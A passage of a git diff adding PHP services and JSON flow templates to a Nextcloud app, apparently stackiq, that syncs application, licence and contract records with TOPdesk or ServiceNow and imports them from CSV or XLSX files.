+ /** + * Whether a flow still exists. + * + * @param string $uuid The flow. + * + * @return bool True when it does. + */ + private function exists(string $uuid): bool { + try { + $this->service(class: self::FLOWS)->find($uuid); + } catch (Throwable $e) { + return false; + } + + return true; + }//end exists() + + /** + * Resolve one OpenRegister service. + * + * @param string $class The class name. + * + * @return object The service. + * + * @throws RuntimeException When OpenRegister does not provide it. + */ + private function service(string $class): object { + try { + $service = $this->container->get($class); + } catch (Throwable $e) { + throw new RuntimeException('OpenRegister does not provide ' . $class . ': ' . $e->getMessage(), 0, $e); + } + + if (is_object($service) === false) { + throw new RuntimeException('OpenRegister does not provide ' . $class . '.'); + } + + return $service; + }//end service() +}//end class diff --git a/lib/Service/ItsmExchangeService.php b/lib/Service/ItsmExchangeService.php new file mode 100644 index 000000000..bd9032319 --- /dev/null +++ b/lib/Service/ItsmExchangeService.php @@ -0,0 +1,516 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-001-an-administrator-sets-up-the-exchange-without-stackiq-holding-a-credential + * + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Service; + +use InvalidArgumentException; +use OCA\Stackiq\AppInfo\Application; +use OCA\Stackiq\Service\Itsm\ItsmFlowGateway; +use OCP\IAppConfig; +use OCP\IURLGenerator; +use Psr\Log\LoggerInterface; +use Throwable; + +/** + * Fills, checks and creates the service desk exchange flows. + * + * @spec openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-001-an-administrator-sets-up-the-exchange-without-stackiq-holding-a-credential + */ +class ItsmExchangeService { + + /** + * App setting that holds the desk, the organisation and the flow uuids. + * + * @var string + */ + public const CONFIG_KEY = 'itsm_exchange'; + + /** + * App setting the Integrations page reads as the exchange's switch. + * + * @var string + */ + public const ENABLED_KEY = 'itsm_exchange_enabled'; + + /** + * The register every stackiq flow writes to. + * + * @var string + */ + public const REGISTER = 'stackiq'; + + /** + * The nightly import time, as a five-field cron expression. + * + * @var string + */ + public const CRON = '0 2 * * *'; + + /** + * One profile per service desk: integriq's slugs and the outbound endpoints. + * + * The slugs, endpoints and answer paths are the ones integriq's change + * connectors-service-desk-templates ships and its mocks answer. Endpoints + * are relative to the source's location; `%BASE%` becomes the tenant's + * scheme and host, for record links. TOPdesk lists asset links one asset + * at a time, so its relations use the per-application template. + * + * @var array> + */ + public const DESKS = [ + 'topdesk' => [ + 'label' => 'TOPdesk', + 'source' => 'topdesk', + 'relationsTemplate' => 'itsm-inbound-relations-per-application.json', + 'createEndpoint' => '/assetmgmt/assets', + 'createMethod' => 'POST', + 'updateEndpoint' => '/assetmgmt/assets/{{ usage.recordId }}', + 'updateMethod' => 'POST', + 'callQuery' => [], + 'responseId' => 'data.id', + 'recordUrl' => '%BASE%/tas/secure/assetmgmt/card.html?unid={{ response.body.data.id }}', + ], + 'servicenow' => [ + 'label' => 'ServiceNow', + 'source' => 'servicenow', + 'relationsTemplate' => 'itsm-inbound-relations.json', + 'createEndpoint' => '/api/now/table/cmdb_ci_appl', + 'createMethod' => 'POST', + 'updateEndpoint' => '/api/now/table/cmdb_ci_appl/{{ usage.recordId }}', + 'updateMethod' => 'PATCH', + 'callQuery' => ['sysparm_input_display_value' => 'true'], + 'responseId' => 'result.sys_id', + 'recordUrl' => '%BASE%/nav_to.do?uri=cmdb_ci_appl.do?sys_id={{ response.body.result.sys_id }}', + ], + ]; + + /** + * The flows the set-up creates: key => template file, feed and preset suffix. + * + * @var array + */ + public const FLOWS = [ + 'applications' => ['template' => 'itsm-inbound-applications.json', 'feed' => 'applications', 'preset' => 'application-inbound'], + 'relations' => ['template' => 'itsm-inbound-relations.json', 'feed' => 'relations', 'preset' => 'relation-inbound'], + 'licences' => [ + 'template' => 'itsm-inbound-contracts.json', + 'feed' => 'licences', + 'preset' => 'licence-inbound', + 'contractType' => 'Licence', + 'feedLabel' => 'licences', + ], + 'contracts' => [ + 'template' => 'itsm-inbound-contracts.json', + 'feed' => 'contracts', + 'preset' => 'contract-inbound', + 'contractType' => 'SLA', + 'feedLabel' => 'contracts', + ], + 'outbound' => ['template' => 'itsm-outbound-applications.json', 'feed' => 'outbound', 'preset' => 'application-outbound'], + 'file' => ['template' => 'itsm-file-applications.json', 'feed' => 'file', 'preset' => 'file'], + ]; + + /** + * Constructor. + * + * @param ItsmFlowGateway $gateway OpenRegister's flow store. + * @param IAppConfig $appConfig The app settings. + * @param IURLGenerator $urlGenerator Builds the catalogue link sent to the desk. + * @param LoggerInterface $logger The logger. + * @param ConnectionReportService|null $connectionReports Tells integriq what the set-up met. + * @param string|null $templateDir Where the flow templates live; tests point it elsewhere. + */ + public function __construct( + private readonly ItsmFlowGateway $gateway, + private readonly IAppConfig $appConfig, + private readonly IURLGenerator $urlGenerator, + private readonly LoggerInterface $logger, + private readonly ?ConnectionReportService $connectionReports = null, + private readonly ?string $templateDir = null, + ) { + }//end __construct() + + /** + * What is set up today. + * + * @return array The desk, the organisation, the flows and the desks on offer. + * + * @spec openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-007-the-cmdb-page-says-what-stackiq-is + */ + public function status(): array { + $config = $this->config(); + $desks = []; + foreach (self::DESKS as $key => $desk) { + $desks[] = ['id' => $key, 'label' => $desk['label']]; + } + + return [ + 'available' => $this->gateway->available(), + 'enabled' => $this->appConfig->getValueBool(Application::APP_ID, self::ENABLED_KEY, false), + 'desk' => ($config['desk'] ?? null), + 'organisation' => ($config['organisation'] ?? null), + 'flows' => ($config['flows'] ?? []), + 'setUpAt' => ($config['setUpAt'] ?? null), + 'desks' => $desks, + ]; + }//end status() + + /** + * Fill every template for one desk and one organisation. + * + * @param string $desk The desk key (topdesk, servicenow). + * @param string $organisation The uuid of the organisation whose applications are exchanged. + * @param string $runAs The user the scheduled imports run as. + * @param string $location The desk source's location; its scheme and host make the record links. + * @param string $templateId The desk's asset template for a new record (TOPdesk needs one), or empty. + * + * @return array> The filled flow documents, by flow key. + * + * @throws InvalidArgumentException When the desk is unknown or a template is missing. + * + * @spec openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-001-an-administrator-sets-up-the-exchange-without-stackiq-holding-a-credential + */ + public function buildFlows(string $desk, string $organisation, string $runAs, string $location, string $templateId = ''): array { + if (isset(self::DESKS[$desk]) === false) { + throw new InvalidArgumentException('Unknown service desk "' . $desk . '". Choose one of: ' . implode(', ', array_keys(self::DESKS)) . '.'); + } + + $profile = self::DESKS[$desk]; + $appUrl = rtrim($this->urlGenerator->getAbsoluteURL('/index.php/apps/' . Application::APP_ID), '/'); + $base = self::baseOf(location: $location); + $flows = []; + foreach (self::FLOWS as $key => $flow) { + $deskKey = $desk; + if ($key === 'file') { + $deskKey = 'file'; + } + + $values = [ + 'REGISTER' => self::REGISTER, + 'CONSUMER' => $organisation, + 'RUN_AS' => $runAs, + 'CRON' => self::CRON, + 'DESK' => $deskKey, + 'DESK_LABEL' => $profile['label'], + 'SOURCE' => $profile['source'], + 'SYNC' => 'itsm-' . $deskKey . '-' . $flow['feed'], + 'PRESET' => 'itsm-' . $deskKey . '-' . $flow['preset'], + 'CONTRACT_TYPE' => ($flow['contractType'] ?? 'Licence'), + 'FEED_LABEL' => ($flow['feedLabel'] ?? $flow['feed']), + 'APP_URL' => $appUrl, + 'CREATE_ENDPOINT' => $profile['createEndpoint'], + 'CREATE_METHOD' => $profile['createMethod'], + 'UPDATE_ENDPOINT' => $profile['updateEndpoint'], + 'UPDATE_METHOD' => $profile['updateMethod'], + 'RESPONSE_ID' => $profile['responseId'], + 'RECORD_URL' => str_replace('%BASE%', $base, $profile['recordUrl']), + 'DESK_BASE' => $base, + 'TEMPLATE_ID' => $templateId, + 'CALL_QUERY' => $profile['callQuery'], + ]; + if ($key === 'file') { + $values['SYNC'] = 'itsm-file-applications'; + $values['PRESET'] = 'itsm-file-application-inbound'; + } + + $template = $flow['template']; + if ($key === 'relations') { + $template = $profile['relationsTemplate']; + } + + $flows[$key] = self::fill(value: $this->template(file: $template), values: $values); + }//end foreach + + return $flows; + }//end buildFlows() + + /** + * Set up the exchange: check every flow, then create or update them all. + * + * Nothing is saved unless every flow passes preflight, so the instance never + * holds half an exchange. Running it again updates the flows it created. + * + * @param string $desk The desk key. + * @param string $organisation The uuid of the organisation whose applications are exchanged. + * @param string $runAs The user the scheduled imports run as. + * @param string $templateId The desk's asset template for new records, when the desk needs one. + * + * @return array `created`, and either `flows` or `blocking` per flow key. + * + * @spec openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-001-an-administrator-sets-up-the-exchange-without-stackiq-holding-a-credential + */ + public function setUp(string $desk, string $organisation, string $runAs, string $templateId = ''): array { + $source = $this->preconditions(desk: $desk, organisation: $organisation); + if (is_string($source) === true) { + return $this->refuse(message: $source); + } + + $flows = $this->buildFlows( + desk: $desk, + organisation: $organisation, + runAs: $runAs, + location: (string) ($source['location'] ?? ''), + templateId: $templateId + ); + + $blocking = $this->blockingFindings(flows: $flows); + if ($blocking !== []) { + $first = (array) reset($blocking); + $entry = (array) ($first[0] ?? []); + return $this->refuse( + message: 'Nothing was created. OpenRegister refused flow "' . (string) array_key_first($blocking) . '": step ' + . (string) ($entry['step'] ?? '?') . ', ' . (string) ($entry['reason'] ?? 'unknown reason') . '.', + blocking: $blocking + ); + } + + $stored = (array) ($this->config()['flows'] ?? []); + $saved = []; + try { + foreach ($flows as $key => $flow) { + $saved[$key] = $this->gateway->saveAndPublish(flow: $flow, uuid: $this->storedUuid(stored: $stored, key: $key)); + } + } catch (Throwable $e) { + $this->logger->error('[ItsmExchangeService] Saving the exchange flows failed', ['exception' => $e]); + $this->storeConfig(desk: $desk, organisation: $organisation, flows: array_merge($stored, $saved)); + return $this->refuse(message: 'Saving the flows failed after ' . count($saved) . ' of ' . count($flows) . ': ' . $e->getMessage()); + } + + $this->storeConfig(desk: $desk, organisation: $organisation, flows: $saved); + $this->appConfig->setValueBool(Application::APP_ID, self::ENABLED_KEY, true); + $this->connectionReports?->itsmSetUp( + created: true, + message: count($saved) . ' flows set up for ' . self::DESKS[$desk]['label'] . '. The first import runs tonight.' + ); + + return ['created' => true, 'desk' => $desk, 'flows' => $saved]; + }//end setUp() + + /** + * What must be there before any flow is built: the engine, the desk, the organisation and integriq's source. + * + * @param string $desk The desk key. + * @param string $organisation The organisation uuid. + * + * @return array|string The integriq source, or why the set-up cannot start. + */ + private function preconditions(string $desk, string $organisation): array|string { + if ($this->gateway->available() === false) { + return 'OpenRegister\'s flow engine is not available, so no exchange can be set up.'; + } + + if (isset(self::DESKS[$desk]) === false) { + return 'Unknown service desk "' . $desk . '".'; + } + + if ($this->gateway->findObject(register: self::REGISTER, schema: 'organization', id: $organisation) === null) { + return 'The organisation ' . $organisation . ' does not exist in stackiq.'; + } + + $profile = self::DESKS[$desk]; + $source = $this->gateway->findObject(register: 'integriq', schema: 'source', id: $profile['source']); + if ($source === null) { + return 'Integriq has no source "' . $profile['source'] . '". Add the ' . $profile['label'] . ' source in integriq first.'; + } + + return $source; + }//end preconditions() + + /** + * Preflight every flow and keep the blocking findings. + * + * @param array> $flows The filled flows by key. + * + * @return array>> The blocking findings by flow key; empty when all pass. + */ + private function blockingFindings(array $flows): array { + $blocking = []; + foreach ($flows as $key => $flow) { + $findings = $this->gateway->inspect(flow: $flow); + if ($findings['blocking'] !== []) { + $blocking[$key] = $findings['blocking']; + } + } + + return $blocking; + }//end blockingFindings() + + /** + * The uuid a flow was stored under by an earlier set-up, or null. + * + * @param array $stored The stored flow uuids. + * @param string $key The flow key. + * + * @return string|null The uuid, or null when there is none. + */ + private function storedUuid(array $stored, string $key): ?string { + $previous = ($stored[$key] ?? null); + if (is_string($previous) === false || $previous === '') { + return null; + } + + return $previous; + }//end storedUuid() + + /** + * Replace every `%KEY%` placeholder in the strings of a value. + * + * A string that is exactly one placeholder takes the value as it is, so a + * list or an object can be filled in; any other string gets text. + * + * @param mixed $value The template, or a part of it. + * @param array $values The placeholder values, by key without the percent signs. + * + * @return mixed The filled value. + * + * @spec openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-001-an-administrator-sets-up-the-exchange-without-stackiq-holding-a-credential + */ + public static function fill(mixed $value, array $values): mixed { + if (is_array($value) === true) { + $filled = []; + foreach ($value as $key => $item) { + $filled[$key] = self::fill(value: $item, values: $values); + } + + return $filled; + } + + if (is_string($value) === false) { + return $value; + } + + if (preg_match('/^%([A-Z_]+)%$/', $value, $whole) === 1 && array_key_exists($whole[1], $values) === true) { + return $values[$whole[1]]; + } + + $search = []; + $replace = []; + foreach ($values as $key => $text) { + if (is_array($text) === true) { + continue; + } + + $search[] = '%' . $key . '%'; + $replace[] = (string) $text; + } + + return str_replace($search, $replace, $value); + }//end fill() + + /** + * The scheme, host and port of a location, without its path. + * + * @param string $location The source's location. + * + * @return string The base, or an empty string when the location has no host. + * + * @spec openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-001-an-administrator-sets-up-the-exchange-without-stackiq-holding-a-credential + */ + public static function baseOf(string $location): string { + $parts = parse_url(trim($location)); + if (is_array($parts) === false || isset($parts['host']) === false) { + return ''; + } + + $base = ($parts['scheme'] ?? 'https') . '://' . $parts['host']; + if (isset($parts['port']) === true) { + $base .= ':' . $parts['port']; + } + + return $base; + }//end baseOf() + + /** + * Read one template. + * + * @param string $file The file name. + * + * @return array The template. + * + * @throws InvalidArgumentException When it is missing or not JSON. + */ + private function template(string $file): array { + $path = ($this->templateDir ?? __DIR__ . '/../Settings/flows') . '/' . $file; + $content = ''; + if (is_file($path) === true) { + $content = (string) file_get_contents($path); + } + + $decoded = json_decode($content, true); + if (is_array($decoded) === false) { + throw new InvalidArgumentException('The flow template ' . $file . ' is missing or not JSON.'); + } + + return $decoded; + }//end template() + + /** + * The stored set-up. + * + * @return array The stored set-up, or an empty array. + */ + private function config(): array { + $decoded = json_decode($this->appConfig->getValueString(Application::APP_ID, self::CONFIG_KEY, '{}'), true); + if (is_array($decoded) === false) { + return []; + } + + return $decoded; + }//end config() + + /** + * Store the set-up. + * + * @param string $desk The desk key. + * @param string $organisation The organisation uuid. + * @param array $flows The flow uuids by key. + * + * @return void + */ + private function storeConfig(string $desk, string $organisation, array $flows): void { + $this->appConfig->setValueString( + Application::APP_ID, + self::CONFIG_KEY, + (string) json_encode(['desk' => $desk, 'organisation' => $organisation, 'flows' => $flows, 'setUpAt' => date(DATE_ATOM)]) + ); + }//end storeConfig() + + /** + * A refused set-up, reported to the Integrations page. + * + * @param string $message What stopped it. + * @param array $blocking The preflight findings, by flow key. + * + * @return array The answer. + */ + private function refuse(string $message, array $blocking = []): array { + $this->connectionReports?->itsmSetUp(created: false, message: $message); + + return ['created' => false, 'message' => $message, 'blocking' => $blocking]; + }//end refuse() +}//end class diff --git a/lib/Service/ItsmFileImportService.php b/lib/Service/ItsmFileImportService.php new file mode 100644 index 000000000..6efad1cee --- /dev/null +++ b/lib/Service/ItsmFileImportService.php @@ -0,0 +1,238 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-006-a-file-feeds-the-same-import + * + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Service; + +use OCA\Stackiq\AppInfo\Application; +use OCA\Stackiq\Service\Itsm\ItsmFlowGateway; +use OCP\IAppConfig; +use RuntimeException; +use Throwable; + +/** + * Reads a spreadsheet and starts the file import flow with its rows. + * + * @spec openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-001-an-administrator-sets-up-the-exchange-without-stackiq-holding-a-credential + */ +class ItsmFileImportService { + + /** + * The most rows one import takes. + * + * @var integer + */ + public const MAX_ROWS = 5000; + + /** + * The column every row must fill. + * + * @var string + */ + public const KEY_COLUMN = 'recordId'; + + /** + * Constructor. + * + * @param ItsmFlowGateway $gateway OpenRegister's flow store. + * @param IAppConfig $appConfig The app settings. + */ + public function __construct( + private readonly ItsmFlowGateway $gateway, + private readonly IAppConfig $appConfig, + ) { + }//end __construct() + + /** + * Import one file. + * + * @param string $path The uploaded file on disk. + * @param string $name The name it was uploaded with, which tells CSV from XLSX. + * + * @return array `started` with the run and the row count, or `started: false` with the reason. + * + * @spec openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-006-a-file-feeds-the-same-import + */ + public function import(string $path, string $name): array { + $config = json_decode($this->appConfig->getValueString(Application::APP_ID, ItsmExchangeService::CONFIG_KEY, '{}'), true); + $flow = null; + if (is_array($config) === true) { + $flow = ($config['flows']['file'] ?? null); + } + if (is_string($flow) === false || $flow === '') { + return ['started' => false, 'message' => 'Set up the exchange first. The file import uses the flow the set-up creates.']; + } + + try { + $rows = $this->readRows(path: $path, name: $name); + } catch (Throwable $e) { + return ['started' => false, 'message' => 'The file could not be read: ' . $e->getMessage()]; + } + + $problem = $this->checkRows(rows: $rows); + if ($problem !== null) { + return ['started' => false, 'message' => $problem]; + } + + $run = $this->gateway->run(uuid: $flow, payload: ['rows' => $rows]); + + return ['started' => true, 'run' => $run, 'rows' => count($rows)]; + }//end import() + + /** + * Read the rows of a CSV or XLSX file, keyed by the header row. + * + * @param string $path The file. + * @param string $name Its name. + * + * @return list> The rows, empty cells left out. + * + * @throws RuntimeException When the type is not CSV or XLSX, or XLSX cannot be read here. + * + * @spec openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-006-a-file-feeds-the-same-import + */ + public function readRows(string $path, string $name): array { + $table = $this->readTable(path: $path, name: $name); + + $header = array_map(static fn ($cell): string => trim((string) $cell), (array) array_shift($table)); + $rows = []; + foreach ($table as $cells) { + $row = []; + foreach ($header as $index => $column) { + $cell = trim((string) ($cells[$index] ?? '')); + if ($column !== '' && $cell !== '') { + $row[$column] = $cell; + } + } + + if ($row !== []) { + $rows[] = $row; + } + } + + return $rows; + }//end readRows() + + /** + * Read a file into rows of cells, by its extension. + * + * @param string $path The file. + * @param string $name Its name. + * + * @return list> The cells. + * + * @throws RuntimeException When the type is not CSV or XLSX. + */ + private function readTable(string $path, string $name): array { + $extension = strtolower(pathinfo($name, PATHINFO_EXTENSION)); + if ($extension === 'csv') { + return $this->readCsv(path: $path); + } + + if ($extension === 'xlsx') { + return $this->readXlsx(path: $path); + } + + throw new RuntimeException('only .csv and .xlsx files can be imported, not .' . $extension); + }//end readTable() + + /** + * Why the rows cannot be imported, or null when they can. + * + * @param list> $rows The rows. + * + * @return string|null The reason, naming the first bad row as the spreadsheet numbers it. + * + * @spec openspec/changes/sharing-itsm-exchange/specs/itsm-exchange/spec.md#requirement-req-itx-006-a-file-feeds-the-same-import + */ + public function checkRows(array $rows): ?string { + if ($rows === []) { + return 'The file holds no rows under its header.'; + } + + if (count($rows) > self::MAX_ROWS) { + return 'The file holds ' . count($rows) . ' rows; one import takes at most ' . self::MAX_ROWS . '.'; + } + + foreach ($rows as $index => $row) { + if (($row[self::KEY_COLUMN] ?? '') === '') { + return 'Row ' . ($index + 2) . ' has no ' . self::KEY_COLUMN . '. Every row needs one, so a second import updates instead of adding.'; + } + } + + return null; + }//end checkRows() + + /** + * Read a CSV file into rows of cells. Comma or semicolon, whichever the header uses. + * + * @param string $path The file. + * + * @return list> The cells. + */ + private function readCsv(string $path): array { + $handle = fopen($path, 'r'); + if ($handle === false) { + throw new RuntimeException('cannot open the uploaded file'); + } + + $first = (string) fgets($handle); + $delimiter = ','; + if (substr_count($first, ';') > substr_count($first, ',')) { + $delimiter = ';'; + } + + rewind($handle); + $table = []; + while (($cells = fgetcsv($handle, null, $delimiter, '"', '\\')) !== false) { + $table[] = array_map(static fn ($cell): string => (string) $cell, $cells); + } + + fclose($handle); + if (isset($table[0][0]) === true) { + $table[0][0] = preg_replace('/^\xEF\xBB\xBF/', '', $table[0][0]); + } + + return $table; + }//end readCsv() + + /** + * Read the first sheet of an XLSX file into rows of cells, with PhpSpreadsheet as OpenRegister ships it. + * + * @param string $path The file. + * + * @return list> The cells. + */ + private function readXlsx(string $path): array { + $factory = '\PhpOffice\PhpSpreadsheet\IOFactory'; + if (class_exists($factory) === false) { + throw new RuntimeException('reading .xlsx needs PhpSpreadsheet, which OpenRegister provides; save the sheet as .csv instead'); + } + + $sheet = $factory::load($path)->getActiveSheet()->toArray(null, true, false, false); + + return array_map(static fn ($cells): array => array_map(static fn ($cell): string => (string) $cell, (array) $cells), (array) $sheet); + }//end readXlsx() +}//end class diff --git a/lib/Settings/connections.json b/lib/Settings/connections.json index 2e8c10bd2..d9fc531fe 100644 --- a/lib/Settings/connections.json +++ b/lib/Settings/connections.json @@ -41,6 +41,19 @@ "disabledMessage": "End-of-life sync is switched off. Switch it on in the End-of-life feed sync section.", "sourceTemplate": "endoflife-date", "unconfiguredMessage": "Not checked yet. Choose Sync now in the End-of-life feed sync section." + }, + { + "key": "itsm", + "title": "Service desk", + "description": "Keeps applications, connections, licences and contracts in step with TOPdesk or ServiceNow, through integriq flows. The service desk owns its fields, stackiq owns its own.", + "order": 40, + "settingsUrl": "/settings/admin/stackiq#section-itsm", + "reportedOnly": true, + "switch": { + "configKey": "itsm_exchange_enabled" + }, + "disabledMessage": "The service desk exchange is not set up. Set it up in the Service desk exchange section.", + "unconfiguredMessage": "Not checked yet. The first import run reports here." } ] } diff --git a/lib/Settings/flows/itsm-file-applications.json b/lib/Settings/flows/itsm-file-applications.json new file mode 100644 index 000000000..eb51deed4 --- /dev/null +++ b/lib/Settings/flows/itsm-file-applications.json @@ -0,0 +1,318 @@ +{ + "name": "File import: applications", + "app": "stackiq", + "description": "Imports applications from an uploaded CSV or XLSX file through the same mapping and matching as the service desk import. Importing the same file again updates rather than duplicates.", + "executionMode": "async", + "limits": { + "maxTransitions": 5000 + }, + "nodes": [ + { + "id": "start", + "type": "openregister.trigger-manual", + "config": {} + }, + { + "id": "each", + "type": "openregister.explode", + "config": { + "path": "rows", + "as": "source" + } + }, + { + "id": "desk", + "type": "openregister.set-fields", + "config": { + "set": { + "source._desk.baseUrl": "%DESK_BASE%" + } + } + }, + { + "id": "map-all", + "type": "openconnector.apply-mapping", + "config": { + "mapping": "%PRESET%", + "input": "source", + "output": "record" + } + }, + { + "id": "map-owned", + "type": "openconnector.apply-mapping", + "config": { + "mapping": "%PRESET%", + "input": "source", + "output": "owned", + "ownership": "inbound", + "exists": "record.recordId" + } + }, + { + "id": "complete", + "type": "openregister.filter", + "config": { + "condition": { + "and": [ + { + "!!": { + "var": "json.record.recordId" + } + }, + { + "!!": { + "var": "json.record.name" + } + }, + { + "!!": { + "var": "json.record.supplierName" + } + } + ] + } + } + }, + { + "id": "decide", + "type": "openconnector.contract", + "config": { + "synchronization": "%SYNC%", + "idPosition": "owned.recordId", + "hashPosition": "owned", + "output": "contract" + } + }, + { + "id": "changed", + "type": "openregister.filter", + "config": { + "condition": { + "in": [ + { + "var": "json.contract.outcome" + }, + [ + "create", + "update" + ] + ] + } + } + }, + { + "id": "flags", + "type": "openregister.set-fields", + "config": { + "compute": { + "isCreate": { + "!": { + "var": "json.contract.targetId" + } + }, + "isUpdate": { + "!!": { + "var": "json.contract.targetId" + } + }, + "syncedAt": { + "now": [] + } + } + } + }, + { + "id": "supplier", + "type": "openregister.object-write", + "config": { + "register": "%REGISTER%", + "schema": "organization", + "operation": "upsert", + "match": [ + { + "property": "name", + "value": "{{ record.supplierName }}" + }, + { + "property": "type", + "value": "Supplier" + } + ], + "fields": { + "name": "{{ record.supplierName }}", + "type": "Supplier" + }, + "output": "supplier" + } + }, + { + "id": "module", + "type": "openregister.object-write", + "config": { + "register": "%REGISTER%", + "schema": "module", + "operation": "upsert", + "match": [ + { + "property": "name", + "value": "{{ record.name }}" + }, + { + "property": "provider", + "value": "{{ supplier.uuid }}" + } + ], + "fields": { + "name": "{{ record.name }}", + "provider": "{{ supplier.uuid }}" + }, + "output": "module" + } + }, + { + "id": "usage-create", + "type": "openregister.object-write", + "config": { + "register": "%REGISTER%", + "schema": "usage", + "operation": "upsert", + "skipWhen": "isUpdate", + "match": [ + { + "property": "module", + "value": "{{ module.uuid }}" + }, + { + "property": "consumer", + "value": "%CONSUMER%" + } + ], + "fields": { + "module": "{{ module.uuid }}", + "consumer": "%CONSUMER%", + "status": "{{ record.status }}", + "installedVersion": "{{ record.installedVersion }}", + "serviceDeskSystem": "%DESK%", + "serviceDeskRecordId": "{{ record.recordId }}", + "serviceDeskUrl": "{{ record.recordUrl }}", + "serviceDeskSyncedAt": "{{ syncedAt }}" + }, + "output": "usageWritten" + } + }, + { + "id": "usage-update", + "type": "openregister.object-write", + "config": { + "register": "%REGISTER%", + "schema": "usage", + "operation": "update", + "skipWhen": "isCreate", + "match": [ + { + "property": "@self.uuid", + "value": "{{ contract.targetId }}" + } + ], + "fields": { + "module": "{{ module.uuid }}", + "status": "{{ owned.status }}", + "installedVersion": "{{ owned.installedVersion }}", + "serviceDeskSystem": "%DESK%", + "serviceDeskRecordId": "{{ owned.recordId }}", + "serviceDeskUrl": "{{ owned.recordUrl }}", + "serviceDeskSyncedAt": "{{ syncedAt }}" + }, + "output": "usageWritten" + } + }, + { + "id": "commit", + "type": "openconnector.contract-commit", + "config": { + "synchronization": "%SYNC%", + "contractPosition": "contract", + "targetIdPosition": "usageWritten.uuid", + "targetHashPosition": "owned" + } + }, + { + "id": "end", + "type": "openregister.end", + "config": {} + } + ], + "edges": [ + { + "id": "e-start-each", + "from": "start", + "to": "each" + }, + { + "id": "e-each-desk", + "from": "each", + "to": "desk" + }, + { + "id": "e-desk-map-all", + "from": "desk", + "to": "map-all" + }, + { + "id": "e-map-all-map-owned", + "from": "map-all", + "to": "map-owned" + }, + { + "id": "e-map-owned-complete", + "from": "map-owned", + "to": "complete" + }, + { + "id": "e-complete-decide", + "from": "complete", + "to": "decide" + }, + { + "id": "e-decide-changed", + "from": "decide", + "to": "changed" + }, + { + "id": "e-changed-flags", + "from": "changed", + "to": "flags" + }, + { + "id": "e-flags-supplier", + "from": "flags", + "to": "supplier" + }, + { + "id": "e-supplier-module", + "from": "supplier", + "to": "module" + }, + { + "id": "e-module-usage-create", + "from": "module", + "to": "usage-create" + }, + { + "id": "e-usage-create-usage-update", + "from": "usage-create", + "to": "usage-update" + }, + { + "id": "e-usage-update-commit", + "from": "usage-update", + "to": "commit" + }, + { + "id": "e-commit-end", + "from": "commit", + "to": "end" + } + ] +} diff --git a/lib/Settings/flows/itsm-inbound-applications.json b/lib/Settings/flows/itsm-inbound-applications.json new file mode 100644 index 000000000..d1958d09e --- /dev/null +++ b/lib/Settings/flows/itsm-inbound-applications.json @@ -0,0 +1,336 @@ +{ + "name": "Service desk import: applications (%DESK_LABEL%)", + "app": "stackiq", + "description": "Reads the application records from the service desk and creates or updates the supplier, the application and your organisation's use of it. Matches on the service desk record first, then on name and supplier. On an update it writes only the fields the service desk owns.", + "trigger": "schedule", + "cron": "%CRON%", + "executionMode": "async", + "limits": { + "maxTransitions": 5000 + }, + "nodes": [ + { + "id": "start", + "type": "openregister.trigger-schedule", + "config": { + "cron": "%CRON%", + "runAs": "%RUN_AS%" + } + }, + { + "id": "pages", + "type": "openconnector.source-paginate", + "config": { + "synchronization": "%SYNC%", + "output": "page" + } + }, + { + "id": "each", + "type": "openregister.explode", + "config": { + "path": "page.results", + "as": "source" + } + }, + { + "id": "desk", + "type": "openregister.set-fields", + "config": { + "set": { + "source._desk.baseUrl": "%DESK_BASE%" + } + } + }, + { + "id": "map-all", + "type": "openconnector.apply-mapping", + "config": { + "mapping": "%PRESET%", + "input": "source", + "output": "record" + } + }, + { + "id": "map-owned", + "type": "openconnector.apply-mapping", + "config": { + "mapping": "%PRESET%", + "input": "source", + "output": "owned", + "ownership": "inbound", + "exists": "record.recordId" + } + }, + { + "id": "complete", + "type": "openregister.filter", + "config": { + "condition": { + "and": [ + { + "!!": { + "var": "json.record.recordId" + } + }, + { + "!!": { + "var": "json.record.name" + } + }, + { + "!!": { + "var": "json.record.supplierName" + } + } + ] + } + } + }, + { + "id": "decide", + "type": "openconnector.contract", + "config": { + "synchronization": "%SYNC%", + "idPosition": "owned.recordId", + "hashPosition": "owned", + "output": "contract" + } + }, + { + "id": "changed", + "type": "openregister.filter", + "config": { + "condition": { + "in": [ + { + "var": "json.contract.outcome" + }, + [ + "create", + "update" + ] + ] + } + } + }, + { + "id": "flags", + "type": "openregister.set-fields", + "config": { + "compute": { + "isCreate": { + "!": { + "var": "json.contract.targetId" + } + }, + "isUpdate": { + "!!": { + "var": "json.contract.targetId" + } + }, + "syncedAt": { + "now": [] + } + } + } + }, + { + "id": "supplier", + "type": "openregister.object-write", + "config": { + "register": "%REGISTER%", + "schema": "organization", + "operation": "upsert", + "match": [ + { + "property": "name", + "value": "{{ record.supplierName }}" + }, + { + "property": "type", + "value": "Supplier" + } + ], + "fields": { + "name": "{{ record.supplierName }}", + "type": "Supplier" + }, + "output": "supplier" + } + }, + { + "id": "module", + "type": "openregister.object-write", + "config": { + "register": "%REGISTER%", + "schema": "module", + "operation": "upsert", + "match": [ + { + "property": "name", + "value": "{{ record.name }}" + }, + { + 